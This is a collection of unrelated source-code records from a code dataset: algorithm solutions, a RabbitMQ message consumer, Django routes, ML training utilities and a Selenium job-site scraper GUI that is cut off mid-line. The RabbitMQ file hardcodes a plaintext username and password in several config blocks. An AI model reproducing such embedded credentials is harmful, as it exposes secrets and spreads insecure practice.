+{"seq_id":"92117077","text":"# 오큰수 문제에서 '비교 대상이 등장횟수'로 바뀐 것뿐이다.\n# 즉 Counter 를 활용해 등장횟수를 해쉬로 저장하여 불러오는 작업만 추가될뿐 크게 달라지는 로직은 전혀없음.\n\nfrom collections import Counter\nimport sys\n\nn = int(sys.stdin.readline())\nnumber_list = list(map(int, sys.stdin.readline().split()))\nnumber_counter = Counter(number_list)\nstack, result = [], [-1] * n\n\nfor i, value in enumerate(number_list):\n while stack and number_counter[stack[-1][1]] < number_counter[value]: # 달라진 부분\n _i, _value = stack.pop()\n result[_i] = value\n stack.append([i, value])\n\nfor i in result:\n print(i, end=' ')","sub_path":"김정호/오등큰수/오등큰수.py","file_name":"오등큰수.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"31862707","text":"import neptune.new as neptune\n\nrun = neptune.init(project=\"common/colab-test-run\", api_token=\"ANONYMOUS\")\n\nparams = {\"learning_rate\": 0.1}\n\n# log params\nrun[\"parameters\"] = params\n\n# log name and append tags\nrun[\"sys/name\"] = \"basic-colab-example\"\nrun[\"sys/tags\"].add([\"colab\", \"intro\"])\n\n# log loss during training\nfor epoch in range(100):\n run[\"train/loss\"].log(0.99 ** epoch)\n\n# log train and validation scores\nrun[\"train/accuracy\"] = 0.95\nrun[\"valid/accuracy\"] = 0.93\n","sub_path":"how-to-guides/how-it-works/scripts/Neptune_API_Tour_basic_logging.py","file_name":"Neptune_API_Tour_basic_logging.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"39179138","text":"import pika\nimport json \nfrom Pickling import Pickling\nfrom pprint import pprint\nfrom publisher import FirmsPublisher\nimport traceback\nclass FirmsConsumer:\n def __init__(self, config):\n self.config = config\n self.connection=None\n self.channel=None\n\n \n def __enter__(self):\n self.connection = self._create_connection()\n return self\n \n def __exit__(self, *args):\n print(\"connection closed\")\n self.channel.stop_consuming()\n self.connection.close()\n \n def consume(self, message_received_callback):\n self.message_received_callback = message_received_callback\n \n self.channel = self.connection.channel()\n \n #self.create_exchange(channel)\n #self.create_queue(channel)\n \n #channel.queue_bind(queue=self.config['queueName'],\n # exchange=self.config['exchangeName'],\n # routing_key=self.config['routingKey'])\n \n self.channel.basic_consume(self._consume_message, queue=self.config['queueName'])\n self.channel.start_consuming()\n \n def create_exchange(self, channel):\n exchange_options = self.config['exchangeOptions']\n self.channel.exchange_declare(exchange=self.config['exchangeName'],\n exchange_type=self.config['exchangeType'],\n passive=exchange_options['passive'],\n durable=exchange_options['durable'],\n auto_delete=exchange_options['autoDelete'],\n internal=exchange_options['internal'])\n \n def create_queue(self, channel):\n queue_options = self.config['queueOptions']\n self.channel.queue_declare(queue=self.config['queueName'],\n passive=queue_options['passive'],\n durable=queue_options['durable'],\n exclusive=queue_options['exclusive'],\n auto_delete=queue_options['autoDelete'])\n \n def _create_connection(self):\n credentials = pika.PlainCredentials(self.config['userName'], self.config['password'])\n parameters = pika.ConnectionParameters(self.config['host'], self.config['port'],\n self.config['virtualHost'], credentials, ssl=False)\n return pika.BlockingConnection(parameters)\n \n def _consume_message(self, channel, method, properties, body):\n #print(method.consumer_tag)\n #print(properties.headers)\n properties=properties.headers\n body=json.loads(body)\n try:\n res= self.message_received_callback(properties,body)\n except Exception as e:\n raise \n print(\"Handler received exception {} \".format(e))\n res=None\n if res:\n self.channel.basic_ack(delivery_tag=method.delivery_tag)\n else:\n self.channel.basic_nack(delivery_tag=method.delivery_tag)\n\nclass WorkFlowMonitor:\n def __init__(self):\n self.config={'userName':'kannan',\n 'password':'divya123',\n 'host':'rabbitmq-1',\n 'port':'5672',\n 'virtualHost':'/',\n 'exchangeName':'work_flow_monitor_exchange',\n 'routingKey':'monitor'\n }\n def update(self,msg):\n with FirmsPublisher(self.config) as workFlowUpdateObject:\n result=workFlowUpdateObject.publish(msg)\n return result\n\n\ndef func(body):\n print(body)\n return 1\n\n\ndef callback(prop,msg):\n print(prop,msg)\n log_message={}\n log_message[\"headers\"]=prop.headers\n log_message[\"Payload\"]=msg\n Data=DataStore(prop,msg).process()\n if Data:\n if isinstance(Data,bool):\n return Data\n else:\n print(\"In call back \")\n publisher_config={'userName':'kannan',\n 'password':'divya123',\n 'host':'rabbitmq-1',\n 'port':'5672',\n 'virtualHost':'/',\n 'exchangeName':'gen_proxy_exchange',\n 'routingKey':'gen'\n }\n with FirmsPublisher(publisher_config) as generateInstance:\n result=generateInstance.publish(Data)\n if result:\n result2=WorkFlowMonitor().update(log_message)\n print(\"message to be published is -->{}\".format(log_message))\n if result2:\n print(\"Message is updated to work flow monitor\")\n return True\n else:\n return False\n\n \n\n\n\nclass DataStore:\n def __init__(self,prop,msg):\n self.prop=prop.headers\n self.msg=msg\n self.pickle=Pickling(\"gen_proxy_db\")\n self.correlation_id=None\n \n def process(self):\n print(\"In process\")\n self.correlation_id=self.get_corrid()\n try:\n print(\"1 receiced data from picking\")\n data=self.pickle.read()\n #pprint(\"2 recevied data is {}\".format(data))\n #data={}\n except Exception as e:\n print(\"Receieved Exception:{ } from Pickling\".format(e))\n raise e\n if data:\n print(\"in if data block\")\n print(data)\n if self.correlation_id in data.keys():\n #msgAndHeader=data.get(self.correlation_id,None)\n msgAndHeader=data.pop(self.correlation_id)\n if data:\n self.pickle.write(data)\n print(data)\n else:\n data={'dummy':'d'}\n self.pickle.write(data)\n return msgAndHeader\n else:\n print(\"in else of the if data part\")\n data[self.correlation_id]={}\n data[self.correlation_id]['headers']=self.prop\n data[self.correlation_id]['payload']=self.msg\n #print(data)\n try: \n self.pickle.write(data)\n print(data)\n except Exception as e:\n raise e\n return True\n else:\n print(\"in else part Datastore\")\n data={}\n data[self.correlation_id]={}\n data[self.correlation_id]['headers']=self.prop\n data[self.correlation_id]['payload']=self.msg\n self.pickle.write(data)\n print(\"else part picking done\")\n return True\n #return False\n\n\n def get_corrid(self):\n print(\"in get_corrid block\")\n print(self.prop['correlation-id'])\n return self.prop['correlation-id']\n\n\n \nif __name__ == '__main__':\n\n config={'userName':'kannan',\n 'password':'divya123',\n 'host':'rabbitmq-1',\n 'port':'5672',\n 'virtualHost':'/',\n 'exchangeName':'validator_Exchange',\n 'queueName':'gen_proxy',\n 'routingKey':'',\n 'props':{'content_type' :'text/plain',\n 'delivery_mode':2}\n }\n\n #import pdb;pdb.set_trace()\n\n try:\n with FirmsConsumer(config) as conn:\n conn.consume(callback)\n except KeyboardInterrupt:\n print(\"keyboard interrupt\")\n except Exception as e:\n traceback.print_exc()\n raise e\n\n\n\n","sub_path":"gen_proxy/lib/consumer.py","file_name":"consumer.py","file_ext":"py","file_size_in_byte":7320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"331100504","text":"from django.conf.urls import url\nfrom teacherapp import views\napp_name='teacherapp'\nurlpatterns = [\n url(r'^index/',views.index),\n url(r'^usermaster/$',views.usmaster),\n url(r'^login/$',views.login),\n url(r'^signup/$',views.signup),\n url(r'^updatepass/$',views.passwordUpdate),\n url(r'^verification/$',views.verifyuser),\n url(r'^logout/$',views.logout),\n url(r'^forget/$',views.forget),\n url(r'^gallery/$',views.gallery),\n url(r'^useraccount/$',views.useraccount),\n url(r'^profile/$',views.profile),\n url(r'^document/$',views.documentupload),\n url(r'^documentlist/$',views.documentList),\n url(r'^delete/$',views.delete),\n url(r'^logout/$',views.logout),\n url(r'^edit/$',views.edit),\n ]","sub_path":"teacherapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"161073210","text":"class ArgumentsValidatorException(Exception):\n\n def __init__(self, argumentMame: str, argumentType: str, serviceClassType: str):\n self.__argumentMame = argumentMame\n self.__argumentType = argumentType\n self.__serviceClassType = serviceClassType\n\n super().__init__()\n\n def createFinalException(self, serviceName: str):\n argumentType = self.__argumentType.replace('builtins.', '')\n\n raise Exception('Expected dtype \"{}\", got \"{}\" (argument \"{}\", service \"{}\")'.format(\n argumentType,\n self.__serviceClassType,\n self.__argumentMame,\n serviceName,\n ))\n","sub_path":"src/injecta/service/argument/validator/ArgumentsValidatorException.py","file_name":"ArgumentsValidatorException.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"521529927","text":"# Imports\nimport numpy as np\n\nimport unittest\n\nimport matplotlib.pyplot as plt\nfrom AVHVCONTROL.Simulator import Simulation, Environment, Car, TrafficLight, Vector2\nfrom AVHVCONTROL.test import LayoutList\n\nfrom AVHVCONTROL.test.TestPhysics import PhyicsTest, CurveMovement\n\n# Instantiate the PhyicsTest Class and retrieve the position values returned from the testPhysics method\nphysicsTest = PhyicsTest()\nposition_vals = physicsTest.testPhysics()\n\ncar = Car(name=\"Car 1\", route=[1, 3, 18, 19], direction=270, easy_physics=False, velocity=40, velocity_max=20,\n acceleration=0, acceleration_max=4, position=[0, 0])\ncurved_movement = CurveMovement(40, car, 3, [3, 3], 0, 270)\n\n\n# Create Simulation\nsimulation = Simulation(\n debugging=True,\n time_end=40.0,\n time_increment=.2,\n environment=Environment(\n name=\"Test collision\",\n layout=LayoutList.cross_roads()\n ).add_objects([\n TrafficLight(name=\"Left Traffic Light \", traffic_node=2, direction=0, timings=[4, 1], timer=0),\n TrafficLight(name=\"Right Traffic Light \", traffic_node=4, direction=0, timings=[4, 1], timer=0,\n position=[+20, +40]),\n TrafficLight(name=\"Top eTraffic Light \", traffic_node=6, direction=0, timings=[4, 1], timer=5,\n position=[+80, -112]),\n TrafficLight(name=\"Bottom Traffic Light\", traffic_node=8, direction=0, timings=[4, 1], timer=5,\n position=[-60, -10]),\n car\n ])\n)\n\ncar = simulation.environment.environment_objects[Car][0]\n\n# car.draw(canvas, 3)\n\n\n# Get Velocities\ntime = car.data['time']\nvelocity = car.data['velocity']\n\n# New Graph\nplt.close()\n\n# Graph Info\nplt.title(\"Speed vs Time - First Car\")\nplt.ylabel('Speed (m/s)')\nplt.xlabel('Time (s)')\n\n# Extract Speed\nspeed = []\nfor v in velocity:\n if isinstance(v, Vector2):\n speed.append(v.magnitude())\n\n# Plot\n# plt.figure()\nplt.plot(time, speed)\n\nprint(time)\nprint([v.x for v in velocity])\n\n\n# Then graph\nplt.show()","sub_path":"AVHVCONTROL/test/TestVelocity4.py","file_name":"TestVelocity4.py","file_ext":"py","file_size_in_byte":1995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"139015965","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport torch\nfrom PIL import Image\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import roc_auc_score\nfrom torch.utils.data import Dataset\n\n\ndef select_device():\n \"\"\"\n Tries to detect a Cuda-GPU.\n Detects the CPU if no GPU available.\n\n :return: the name of the detected device.\n \"\"\"\n if torch.cuda.is_available():\n torch.cuda.empty_cache() # clean GPU\n device = torch.device(\"cuda\")\n else:\n device = torch.device(\"cpu\")\n return device\n\n\ndef read_folds(prefix, read_path, num_folds=6, test_fold_id=0):\n \"\"\"\n Reads num_folds many folds of data having the same prefix.\n Each fold is stored as a csv file.\n\n :param str prefix: the prefix of the folds (e.g. )\n :param str read_path: the path of the directory that contains the folds\n :param int num_folds: number of folds to read\n :param int test_fold_id: the index of the fold containing test data\n :return: dictionary containing all read folds. Folds are represented as pd.DataFrames.\n Folds are stored in \"train\", or \"test\" sets. Each of the former strings are keys of the\n returned dictionary.\n \"\"\"\n train_folds = []\n test_fold = None\n for i in range(num_folds):\n if i == test_fold_id:\n test_fold = pd.read_csv(read_path + \"/\" + prefix + str(i) + \".csv\")\n else:\n train_folds.append(pd.read_csv(read_path + \"/\" + prefix + str(i) + \".csv\"))\n return {\"train\": train_folds, \"test\": test_fold}\n\n\ndef evaluate(y_true, y_probas):\n \"\"\"\n Evaluates the prediction-probabilities of a model\n using accuracy and roc-auc score\n\n :param torch.Tensor y_true: true labels\n :param torch.Tensor y_probas: predicted class probabilities\n :return: a dictionary containing the accuracy and roc-auc score\n \"\"\"\n probas_np = y_probas.cpu().detach().numpy()\n preds_np = np.round(y_probas.cpu().detach().numpy())\n y_batch_np = y_true.cpu().detach().numpy()\n acc = accuracy_score(y_true=y_batch_np, y_pred=preds_np)\n try:\n roc_auc = roc_auc_score(y_true=y_batch_np, y_score=probas_np)\n except ValueError:\n roc_auc = 0.5\n return {\"acc\": acc, \"roc_auc\": roc_auc}\n\n\ndef train_val_split(data_folds, val_fold_id):\n \"\"\"\n Concatenates a number of training folds and provides a single validation fold.\n\n :param list data_folds: list of data folds, data folds are pandas.DataFrames\n :param int val_fold_id: index of the validation fold in data_folds\n :return: dictionary containing train and validation data\n \"\"\"\n train_data = None\n initiated = False\n for i, fold in enumerate(data_folds):\n if i != val_fold_id:\n if not initiated:\n train_data = data_folds[i]\n initiated = True\n else:\n train_data = pd.concat([train_data, data_folds[i]], ignore_index=True)\n val_data = data_folds[val_fold_id]\n return {\"train\": train_data, \"val\": val_data}\n\n\nclass CustomDataset(Dataset):\n \"\"\"\n A custom Image Dataset that performs transformations on the images contained in it and shifts them to\n a given device.\n \"\"\"\n\n def __init__(self, data, transform_pipe, x_name=\"img\", y_name=\"label\", device=\"cuda\"):\n \"\"\"\n Constructor.\n\n :param pd.DataFrame data: A DataFrame containing one column of image paths and another columns of image labels.\n :param transform_pipe: a transform:Composition of all transformations that have to be applied to the images\n :param str x_name: name of the image column\n :param str y_name: name of the label column\n :param str device: name of the device that has to be used\n \"\"\"\n self.data = data\n self.transform_pipe = transform_pipe\n self.x_name = x_name\n self.y_name = y_name\n self.device = device\n\n def __len__(self):\n \"\"\"\n Returns the number of observations in the whole dataset\n\n :return: the length of the dataset\n \"\"\"\n return len(self.data)\n\n def __getitem__(self, i):\n \"\"\"\n Is used by DataLoaders to draw the observation at index i in the dataset.\n\n :param int i: index of an observation\n :return: a list containing the image-data and the label of one observation\n \"\"\"\n img_path = \"../../data/hateful_memes_data/\" + self.data[self.x_name].iloc[i]\n x = self.transform_pipe(Image.open(img_path, formats=[\"PNG\"])).to(self.device)\n if x.size(0) == 4: # very few images have one more channel, change to RGB format\n image = Image.open(img_path, formats=[\"PNG\"]).convert(\"RGB\")\n x = self.transform_pipe(image).to(self.device)\n y = torch.tensor(self.data[self.y_name][i], dtype=torch.float).to(self.device)\n return [x, y]\n\n\ndef parameters_cnn(n_epochs, lr, batch_size, transform_pipe, conv_ch1, conv_ch2, linear_size, kernel_size,\n pooling_size, accumulation, device):\n \"\"\"\n Creates a dictionary containing the necessary preprocessing, model and training parameters for the CNNWrapper.\n\n :param int n_epochs: maximum number of epochs\n :param float lr: initial learning rate\n :param batch_size: number of observations per batch\n :param int accumulation: number of batches accumulated to form a single gradient per parameter\n :param transform_pipe: a pipeline consisting of image transformations. Should at least ensure the images to have\n a symetric shape and being stored in torch.Tensors\n :param int conv_ch1: number of channels after applying the fist convolution\n :param int conv_ch2: number of channels after applying the second convolution\n :param int linear_size: size of the second linear layer. Size of the first linear layer is determined automatically\n :param int kernel_size: width and height of the convolutional kernels / filters / windows.\n :param int pooling_size: width and height of the maximum pooling window\n :param str device: name of the utilized device (either cpu or cuda)\n :return: a dictionary containing all parameters having their names as keys.\n \"\"\"\n return {\"n_epochs\": n_epochs, \"lr\": lr, \"batch_size\": batch_size, \"transform_pipe\": transform_pipe,\n \"conv_ch1\": conv_ch1, \"conv_ch2\": conv_ch2, \"linear_size\": linear_size, \"kernel_size\": kernel_size,\n \"pooling_size\": pooling_size, \"accumulation\": accumulation, \"device\": device}\n\n\ndef parameters_pretrained(n_epochs, lr, batch_size, transform_pipe, pretrained_component, linear_size, freeze_epochs,\n unfreeze_epochs, accumulation, device):\n \"\"\"\n Creates a dictionary containing the necessary preprocessing,\n model and training parameters for the PretrainedWrapper.\n\n :param int n_epochs: maximum number of epochs\n :param float lr: initial learning rate\n :param batch_size: number of observations per batch\n :param transform_pipe: a pipeline consisting of image transformations. Should at least ensure the images to have\n a symetric shape and being stored in torch.Tensors\n :param str pretrained_component: the name of a pretrained model that is used as one component of the model\n :param int linear_size: size of the second linear layer. Size of the first linear layer is determined automatically\n :param list freeze_epochs: a list of integers representing the epochs in which the pretrained component\n has to be frozen\n :param list unfreeze_epochs: a list of integers representing the epochs in which the pretrained component\n has to be unfrozen\n :param int accumulation: number of batches accumulated to form a single gradient per parameter\n :param str device: name of the utilized device (either cpu or cuda)\n :return: a dictionary containing all parameters having their names as keys.\n \"\"\"\n return {\"n_epochs\": n_epochs, \"lr\": lr, \"batch_size\": batch_size, \"transform_pipe\": transform_pipe,\n \"pretrained_component\": pretrained_component, \"linear_size\": linear_size, \"freeze_epochs\": freeze_epochs,\n \"unfreeze_epochs\": unfreeze_epochs, \"accumulation\": accumulation, \"device\": device}\n\n\ndef performance_comparison(parameter_combinations, wrapper, folds, model_name):\n \"\"\"\n Compares the performance of the models embedded in >wrapper< and visualizes the results in .png files.\n\n :param list parameter_combinations: a list of parameter combinations used by the model.\n :param wrapper: a model-wrapper\n :param pd.DataFrame folds: the concatenated data folds on which the model parameters have to be evaluated\n :param str model_name: name of the model\n \"\"\"\n for i, parameters in enumerate(parameter_combinations):\n metrics = wrapper.evaluate_hyperparameters(folds=folds, parameters=parameters)\n acc_scores_train = pd.Series(metrics[\"acc_scores_train\"], name=\"Train Accuracy\")\n roc_auc_scores_train = pd.Series(metrics[\"roc_auc_scores_train\"], name=\"Train ROC-AUC\")\n\n acc_scores = pd.Series(metrics[\"acc_scores\"], name=\"Validation Accuracy\")\n roc_auc_scores = pd.Series(metrics[\"roc_auc_scores\"], name=\"Validation ROC-AUC\")\n\n\n # plot\n fig, axs = plt.subplots(2, figsize=(5, 10))\n fig.suptitle(f\"{model_name}\")\n x_labels = range(1, len(acc_scores) + 1)\n\n acc_scores_train.plot(ax=axs[0], c=\"red\", ls=(\"dashed\"))\n roc_auc_scores_train.plot(ax=axs[1], c=\"blue\", ls=(\"dashed\"))\n\n acc_scores.plot(ax=axs[0], c=\"red\")\n roc_auc_scores.plot(ax=axs[1], c=\"blue\")\n\n axs[0].set_title(\"Accuracy Score\")\n axs[0].legend()\n min = np.min([acc_scores_train.min(), acc_scores.min()])\n max = np.max([acc_scores_train.max(), acc_scores.max()])\n axs[0].set_ylim([min, max])\n axs[0].set_xticks(range(len(acc_scores)))\n axs[0].set_xticklabels(x_labels)\n axs[0].set_xlabel(\"Epochs\")\n\n axs[1].set_title(\"ROC-AUC Score\")\n axs[1].legend()\n min = np.min([roc_auc_scores_train.min(), roc_auc_scores.min()])\n max = np.max([roc_auc_scores_train.max(), roc_auc_scores.max()])\n axs[1].set_ylim([min, max])\n axs[1].set_xticks(range(len(acc_scores)))\n axs[1].set_xticklabels(x_labels)\n axs[1].set_xlabel(\"Epochs\")\n\n plt.tight_layout(pad=3)\n plt.savefig(\"visuals/\" + model_name + \"_combi_\" + str(i + 1))\n","sub_path":"cv/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":10430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"238475928","text":"import tkinter as tk\r\nfrom tkinter import ttk #使用Notebook模块\r\nfrom tkinter import *\r\nimport tkinter.messagebox\r\nimport threading\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.remote.command import Command\r\nimport urllib3\r\nimport time\r\nimport os\r\nimport openpyxl\r\nimport requests #网页请求模块\r\nimport bs4 #html解析模块\r\n\r\n\r\n#全局变量\r\ndriver = None #浏览器驱动变量\r\nsleepTime = 5 #用于间隔休眠的时间,单位秒\r\nstartFlag = False #是否未停止,用于控制爬虫是否停止。一旦按下开始键,是否暂停中或运行中,一律当爬虫未停止。\r\nrunFlag = False #是否运行中,用于开始或暂停爬虫\r\nstopFlag = False #传递到爬虫内部,用于彻底停止爬虫\r\nchromeOpen = False #谷歌浏览器是否已打开\r\nfile_name = os.getcwd() + r'\\data.xlsx' #数据保存文件名\r\nwb = None #Excel工作本Workbook\r\nws = None #Excel活动表格\r\n\r\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\r\n#爬虫实现\r\n\r\n\r\n#---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\r\n#界面自定义类\r\nclass UiRoot(Tk):\r\n def __init__(self):\r\n Tk.__init__(self)\r\n\r\nclass UiFrame(Frame):\r\n def run(self, func):\r\n self.master.run(func)\r\n \r\nclass BackgroundTask(object):\r\n \"\"\"Similar to Android's AsyncTask\"\"\"\r\n def __init__(self, ui):\r\n self.ui = ui #tk的root\r\n\r\n def doBefore(self):\r\n \"\"\"Runs on the main thread, returns arg\"\"\"\r\n pass\r\n def do(self, arg):\r\n \"\"\"Runs on a separate thread, returns result\"\"\"\r\n pass\r\n def doAfter(self, result):\r\n \"\"\"Runs on the main thread again\"\"\"\r\n pass\r\n\r\n def run(self):\r\n \"\"\"Invoke this on the main thread only\"\"\"\r\n arg = self.doBefore()\r\n threading.Thread(target=self._onThread, args=[arg]).start() #新建一个线程处理去按钮触发的事件\r\n\r\n def _onThread(self, arg):\r\n result = self.do(arg)\r\n self.doAfter(result)\r\n #self.ui.run(lambda: self.doAfter(result))\r\n\r\nclass ShowTask(BackgroundTask): #继承BackgroundTask类 打开谷歌浏览器触发事件\r\n def doBefore(self):\r\n self.ui.openGoogleButton.config(state=DISABLED)\r\n\r\n def do(self, arg):\r\n self.ui.log('打开谷歌浏览器')\r\n global driver\r\n global chromeOpen\r\n driver = webdriver.Chrome()\r\n #driver.get('https://www.baidu.com/')\r\n while True:\r\n try:\r\n driver.execute(Command.STATUS) #检查浏览器状态\r\n time.sleep(1)\r\n except urllib3.exceptions.MaxRetryError: #出现异常说明浏览器已退出\r\n self.ui.log('谷歌浏览器已关闭')\r\n tk.messagebox.showinfo(\"提示\", \"Google浏览器已关闭\")\r\n break\r\n except Exception:\r\n self.ui.log('无法连接到浏览器,请关闭浏览器重试!')\r\n tk.messagebox.showwarning(\"警告\", \"无法连接到浏览器,请关闭浏览器重试!\")\r\n break\r\n else:\r\n if chromeOpen == False:\r\n self.ui.log(\"浏览器打开成功\")\r\n chromeOpen = True\r\n\r\n def doAfter(self, result):\r\n global chromeOpen\r\n self.ui.openGoogleButton.config(state=NORMAL)\r\n chromeOpen = False\r\n\r\n\r\nclass OpenBoss(BackgroundTask): #打开Boss直聘按钮触发事件\r\n def doBefore(self):\r\n self.ui.openBossButton.config(state=DISABLED)\r\n\r\n def do(self, arg):\r\n if chromeOpen == False: #判断浏览器是否打开\r\n self.ui.log(\"Google浏览器未打开\")\r\n tk.messagebox.showwarning(\"警告\", \"Google浏览器未打开!\")\r\n return\r\n self.ui.log(\"打开Boss直聘网页\")\r\n driver.get('https://www.zhipin.com/') #打开Boss直聘\r\n\r\n def doAfter(self, result):\r\n self.ui.openBossButton.config(state=NORMAL)\r\n\r\n\r\nclass OpenJob(BackgroundTask): #打开前程无忧按钮触发事件\r\n def doBefore(self):\r\n self.ui.openJobButton.config(state=DISABLED)\r\n\r\n def do(self, arg):\r\n if chromeOpen == False: #判断浏览器是否打开\r\n self.ui.log(\"Google浏览器未打开\")\r\n tk.messagebox.showwarning(\"警告\", \"Google浏览器未打开!\")\r\n return\r\n self.ui.log(\"打开前程无忧网页\")\r\n driver.get('https://www.51job.com/') #打开前程无忧\r\n\r\n def doAfter(self, result):\r\n self.ui.openJobButton.config(state=NORMAL)\r\n\r\n\r\nclass Start_Pause(BackgroundTask): #开始/暂停按钮触发事件\r\n def doBefore(self):\r\n pass\r\n\r\n def do(self, arg):\r\n global runFlag\r\n global startFlag\r\n global driver\r\n\r\n if chromeOpen == False: #判断浏览器是否打开\r\n self.ui.log(\"Google浏览器未打开\")\r\n tk.messagebox.showwarning(\"警告\", \"Google浏览器未打开!\")\r\n return\r\n\r\n url = driver.current_url\r\n if url.find('zhipin') == -1 and url.find('51job') == -1: #判断网页是否打开正确\r\n tk.messagebox.showerror('错误', '无法识别该网页!')\r\n self.ui.log(\"无法识别网页! 请打开Boss直聘或前程无忧网页\")\r\n return\r\n\r\n self.ui.openBossButton.config(state=DISABLED) #爬取期间禁止再次打开或更换网页\r\n self.ui.openJobButton.config(state=DISABLED)\r\n if runFlag == False: #检查是否在运行\r\n self.ui.log(\"开始爬取\")\r\n global sleepTime\r\n sleepTime = int(self.ui.spinbox.get()) #设置休眠时间\r\n self.ui.startButton.config(text = '暂停爬取')\r\n self.ui.spinbox.config(state=DISABLED)\r\n runFlag = True #运行中标志\r\n startFlag = True #没停止标志\r\n while runFlag and not stopFlag:\r\n self.ui.log('工作中!')\r\n time.sleep(sleepTime)\r\n else:\r\n self.ui.log(\"暂停爬取\")\r\n self.ui.startButton.config(text = '开始爬取')\r\n self.ui.spinbox.config(state=NORMAL)\r\n runFlag = False #暂停中标志\r\n\r\n def doAfter(self, result):\r\n pass\r\n\r\nclass Stop(BackgroundTask): #停止按钮触发事件\r\n def doBefore(self):\r\n self.ui.stopButton.config(state=DISABLED)\r\n\r\n def do(self, arg):\r\n global runFlag\r\n global stopFlag\r\n global startFlag\r\n if startFlag == False: #爬虫未开始却按下停止键\r\n self.ui.log(\"爬虫未处于运行或暂停中\")\r\n tk.messagebox.showinfo(\"提示\", \"爬虫未处于运行或暂停中!\")\r\n return\r\n if startFlag == True and tk.messagebox.askyesno(title = '提示', message = '是否要停止爬取?'): #没停止并且确定要停止\r\n self.ui.log(\"停止爬取\")\r\n self.ui.startButton.config(text = '开始爬取')\r\n self.ui.spinbox.config(state=NORMAL)\r\n runFlag = False #没有运行标志\r\n stopFlag = True #停止运行中的爬虫标志\r\n startFlag = False #已停止标志\r\n time.sleep(5)\r\n stopFlag = False\r\n self.ui.log(\"爬虫已被停止\")\r\n self.ui.openBossButton.config(state=NORMAL) #在非工作爬取期间可以打开或更换网页\r\n self.ui.openJobButton.config(state=NORMAL)\r\n\r\n def doAfter(self, result):\r\n self.ui.stopButton.config(state=NORMAL)\r\n\r\nclass initWB(BackgroundTask): #初始化工作本和工作表,无则创建\r\n global wb\r\n global ws\r\n def do(self, arg):\r\n time.sleep(2)\r\n try:\r\n wb = openpyxl.open(file_name) #打开Excel文件\r\n except FileNotFoundError:\r\n self.ui.log('找不到Excel文件data!')\r\n self.ui.log('创建一个新的Excel文件')\r\n wb = openpyxl.Workbook() #创建一个新的工作本\r\n ws = wb.active\r\n ws.append(['职位名称', '最低薪酬(元/月)', '最高薪酬', '平均薪酬', '公司所在地', '经验要求', '学历要求', '公司福利', '公司名称', '链接地址', '公司类型', '公司大小', '业务定位方向', '职位要求和描述']) #首行标题\r\n ws.freeze_panes = 'A2' #冻结首行\r\n wb.save(file_name) #保存文件\r\n self.ui.log('Excel文件data创建完成!')\r\n else:\r\n self.ui.log('成功找到并打开Excel文件data')\r\n ws = wb.active\r\n\r\n\r\nclass Check(UiFrame): #查重界面\r\n def __init__(self, parent, **kwargs):\r\n UiFrame.__init__(self, parent, **kwargs)\r\n #mFrame = Labelframe(self)\r\n\r\nclass Generate(UiFrame): #生成图片界面\r\n def __init__(self, parent, **kwargs):\r\n UiFrame.__init__(self, parent, **kwargs)\r\n #mFrame = Labelframe(self)\r\n\r\nclass Search(UiFrame): #推荐界面\r\n def __init__(self, parent, **kwargs):\r\n UiFrame.__init__(self, parent, **kwargs)\r\n #mFrame = Labelframe(self)\r\n\r\n\r\n#-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\r\n#运行界面\r\nclass MainUi(UiRoot):\r\n \"\"\"主窗口\"\"\" \r\n def __init__(self):\r\n UiRoot.__init__(self)\r\n self.geometry('400x650') #窗口大小\r\n self.maxsize(width = 400, height = 650) #窗口大小不可变\r\n self.minsize(width = 400, height = 650) #窗口大小不可变\r\n self.title('Selenium控制型爬虫') #窗口标题\r\n img1 = PhotoImage(file = 'google.gif')\r\n img2 = PhotoImage(file = 'boss.gif')\r\n img3 = PhotoImage(file = '51job.gif')\r\n \r\n tabs = ttk.Notebook(self, width = 388, height = 230)\r\n crawlerFrame = Frame(tabs)\r\n self.openGoogleButton = Button(crawlerFrame, text = '打开浏览器', image = img1, width = 60, height = 60, command = ShowTask(self).run) #按钮 \r\n self.openGoogleButton.grid(row = 0, column = 0, padx = 40, pady = 10)\r\n self.openBossButton = Button(crawlerFrame, text = '打开Boss直聘', image = img2, width = 60, height = 60, command = OpenBoss(self).run)\r\n self.openBossButton.grid(row = 0, column = 1, padx = 0, pady = 10)\r\n self.openJobButton = Button(crawlerFrame, text = '打开前程无忧', image = img3, width = 60, height = 60, command = OpenJob(self).run)\r\n self.openJobButton.grid(row = 0, column = 2, padx = 40, pady = 10)\r\n\r\n Label(crawlerFrame, text=\"打开浏览器\", font = '12').grid(row = 1, column = 0, padx = 0, pady = 0) #按钮提示文字 \r\n Label(crawlerFrame, text=\"打开Boss直聘\", font = '12').grid(row = 1, column = 1, padx = 0, pady = 0)\r\n Label(crawlerFrame, text=\"打开前程无忧\", font = '12').grid(row = 1, column = 2, padx = 0, pady = 0)\r\n\r\n Label(crawlerFrame, text=\"爬取每一页面间隔休眠时间(单位:秒)\", font = '3').place(x = 30, y = 130)\r\n self.spinbox = Spinbox(crawlerFrame, values = (5,10,15,20,25,30,35,40,45,50,60,70,80,90,100), state = 'readonly', font = '3', width = 4)\r\n self.spinbox.place(x = 305, y = 132)\r\n\r\n self.startButton = Button(crawlerFrame, text = '开始爬取', width = 16, height = 2, font = '13', command = Start_Pause(self).run) #按钮 \r\n 